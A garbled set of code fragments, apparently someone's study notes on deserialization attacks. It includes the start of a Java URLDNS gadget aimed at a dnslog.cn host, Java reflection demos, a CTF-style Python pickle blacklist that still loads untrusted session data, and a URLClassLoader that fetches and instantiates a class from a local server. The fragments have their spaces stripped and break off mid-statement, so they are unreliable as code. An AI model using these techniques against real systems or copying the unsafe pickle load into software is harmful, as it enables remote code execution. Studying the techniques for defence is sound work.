publicstaticvoidmain(String[] args)throws Exception{ HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>(); URL url = new URL("http://25x9gm.dnslog.cn/"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode");
publicstaticvoidmain(String[] args)throws Exception{ person p=new person("test"); Class a =Class.forName("person"); person pe1=(person) a.newInstance(); }
publicstaticvoidmain(String[] args)throws Exception{ person p=new person("test",22); Class a =Class.forName("person"); // Constructor personconstructor=a.getConstructor(String.class); // person pe1=(person) personconstructor.newInstance("aaa"); // System.out.println(pe1); person pe1=(person) a.newInstance();
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") ifb'R'in a orb'i'in a orb'o'in a orb'b'in a: raise pickle.UnpicklingError("R i o b is forbidden") pickle.loads(base64.b64decode(session.get('ser_data')))
public class classloader { public static void main(String[] args ) throws Exception { URL[] urls={new URL("http://localhost:8000/")}; URLClassLoader loader = URLClassLoader.newInstance(urls); Class c =loader.loadClass("ex_1"); c.newInstance();